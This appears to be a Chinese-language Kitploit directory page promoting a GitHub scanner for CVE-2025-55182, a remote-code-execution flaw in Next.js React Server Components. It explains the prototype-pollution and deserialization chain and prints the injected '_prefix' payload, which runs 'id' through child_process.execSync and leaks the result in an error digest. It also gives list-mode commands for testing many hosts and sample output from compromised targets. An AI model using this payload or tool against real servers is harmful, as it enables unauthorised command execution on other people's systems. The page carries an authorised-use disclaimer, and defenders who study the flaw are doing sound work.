Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-Scanner — 针对CVE-2025-55182的安全扫描器 - React Server Components中的严重RCE漏洞 | Kitploit
工具/GitHubGitHub/f0xyx/cve-2025-55182-scanner
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubf0xyx/cve-2025-55182-scanner

CVE-2025-55182-Scanner

针对CVE-2025-55182的安全扫描器 - React Server Components中的严重RCE漏洞

查看仓库
1810个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE‑2025‑55182 – Next.js RSC 反序列化 RCE 扫描器

此工具用于检测目标是否受 CVE‑2025‑55182 影响,该漏洞是一个由 Next.js 内部不安全处理 RSC(React 服务端组件)模型载荷导致的远程代码执行漏洞。
该漏洞利用链为:原型污染 → 反序列化滥用 → 服务端 JavaScript 执行。

免责声明: 仅在您合法拥有或已获得明确授权的系统上使用。未经授权的测试属于犯罪行为。


🔥 漏洞工作原理

Next.js 内部通过 multipart/form-data 处理特殊的“模型”对象。
如果攻击者注入恶意结构(例如伪造的 thenable),他们可以污染:

  • __proto__
  • _response._prefix
  • constructor.constructor
  • 以及其他内部属性

这会导致服务端执行攻击者控制的 JavaScript,最终实现 完全 RCE。


📌 本脚本的功能

  • 接受 单个 URL(-u)或 目标列表(-l)
  • 发送构造的 multipart/反序列化载荷
  • 从服务端错误摘要中提取命令输出(id)
  • 将受影响主机保存到 foxvuln.txt

▶ 使用方法

单个 URL

python3 main.py -u https://target.com

列表模式

python3 main.py -l list.txt

📦 载荷概述

载荷通过注入的 _prefix 滥用 process.mainModule.require('child_process').execSync():

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

这会强制服务端执行 id 命令,并将结果泄露到抛出的 digest 中(因为 RSC 错误会有意返回结构化的 “digest” 字段)。


🧪 输出示例

存在漏洞的目标:

[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)

不存在漏洞:

[+] Testing: https://secure.com
[NOT VULN]

🗂 输出文件

所有确认存在漏洞的 URL 将被保存到:

foxvuln.txt

格式:

https://victim.com => uid=1000(www-data)

🧠 注意事项

  • 仅对处理 Next.js RSC 流载荷 的端点有效
  • 不进行路由暴力破解——假设主机在 / 处理 POST 请求
  • 每个主机的超时时间设为 10 秒
  • 在实验室环境中完全安全——但除非你想加速重罪,否则不要在任何随机服务器上运行此工具
下载工具